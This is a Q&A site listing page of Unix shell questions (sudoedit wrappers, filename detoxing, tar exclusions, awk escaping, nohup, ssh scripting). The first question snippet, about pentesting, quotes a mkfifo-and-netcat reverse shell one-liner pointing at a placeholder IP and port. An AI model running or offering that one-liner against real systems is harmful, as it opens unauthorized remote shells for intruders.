Skip to main content

All Questions

Tagged with
0 votes
0 answers
36 views

Trying to understand telnet behavior and pentesting reverse shell in Unix

The first not working for me and the second working on telnet session, Unix: What is the difference between: .RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f And ...
Amir Niko's user avatar
1 vote
0 answers
74 views

How to let root use sudoedit as if it was a user?

I'm writing a wrapper for myself around vim that detects when the user's trying to edit a file that doesn't belong to them, and suggests sudoedit or visudo instead. I want to use sudoedit rather than ...
aaaalz's user avatar
  • 11
1 vote
0 answers
60 views

How to detox filenames in a bash script with no errors posted?

OS: Kubuntu 22.04.4 LTS x86_64 detox 1.4.5 To display above: neofetch --stdout |grep 'OS:' detox -V Here is a toxic filename, starts with s1: s1 Ä Ö Ü - ä ö ü Science & < > " 1 \ 2 ⁄ 3 ...
joseph22's user avatar
  • 367
0 votes
1 answer
275 views

Broken pipe, write error: An epidemic of unnecessary output

In the last few months, a problem has been spreading across my systems. That of broken pipe errors: # Solution: # silenced by replacing /bin/bzip2 -> bzip2-reference # to /bin/...
Hincor's user avatar
  • 1
2 votes
1 answer
52 views

How can I use the last changed file as an argument in linux?

I'm thinking of using the last changed file as an argument to commands like ls, echo, or cat, is there a simple and efficient way? this question arose when I was faced with analyzing the latest log ...
Ilgar's user avatar
  • 21
1 vote
1 answer
371 views

Shell command to tar directory excluding certain folders

In Bash 4, I want make a tar.gz with excluded folders, and while tons of answers about this simple case exist, nothing works in my case. I would like to keep the directory mentioned in exclude, ...
VOX's user avatar
  • 13
0 votes
2 answers
466 views

awk string replacement - properly escape '&' character

I am working on one of our applications to update the docker image from using static configs for each environment to a single template using dynamic variable insertion with awk. Our Dockerfile calls a ...
kat.is.konfused's user avatar
0 votes
1 answer
918 views

tail -f nohup.out gives cannot open 'nohup.out' for reading: No such file or directory

I connected to a remote server using ssh protocol and launched this command in order to run my python script remotely: nohup python3.8 -u sab.py > log_15_09_2023.txt & This works fine since if ...
tail's user avatar
  • 111
1 vote
1 answer
1k views

How do I create a shell script that will exit the ssh session after executing the remote commands

I'm trying to write a bash script to compile and deploy some code to a remote server. So far I have been struggling to figure out how to get the script to exit the ssh session. I thought I could just ...
pbuchheit's user avatar
  • 113
0 votes
1 answer
361 views

Why UNIX socket files end with and equal sign in ls?

When I list (ls) files in directory, I see the equal sign = after some files. All these files in my case are UNIX domain socket files: user@Debian11:~/src/unix_sock$ l a.out* cli_stream* ...
NK-cell's user avatar
  • 195
1 vote
1 answer
2k views

Find command in IBM AIX

I would verify that files in the location listed may not have both the other-write and any execute permissions set. This requirement to be applied recursively to files contained within subdirectories. ...
medisamm's user avatar
  • 113
1 vote
1 answer
1k views

Unix/Linux "shutdown": How to prevent wall message and terminal blocking?

I'm making a script that adds a layer of functionality on top of the shutdown command. It's intended to schedule a shutdown a while into the future, and sends out it's own wall message. How do I ...
user avatar
5 votes
1 answer
498 views

Unix script with a trap inside ssh

My plan is to write a script to debug a remote web server. Since the debug port is blocked by the firewall, I need to forward the remote port via ssh to my local machine. This part is working fine. ...
Johannes von Zmuda's user avatar
0 votes
0 answers
109 views

Batch file using WinSCP won't execute UNIX shell script that assigns variables to output of "more" command

I am working with a Batch script that uses WinSCP to transfer files from an UNIX machine to a windows machine. To achieve this, WinSCP has to call shell scripts on the UNIX side. There is one shell ...
Tony E's user avatar
  • 1
0 votes
1 answer
307 views

Need to iterate Backwards in a linux/unix path

I have a script that would have multiple paths (folder names). Each folder path would have a Dockerfile, but its uncertain at what level that file would exist. Lets say my path is "v1/airflow/1....
Mohammed Ali's user avatar

15 30 50 per page
1
2 3 4 5
42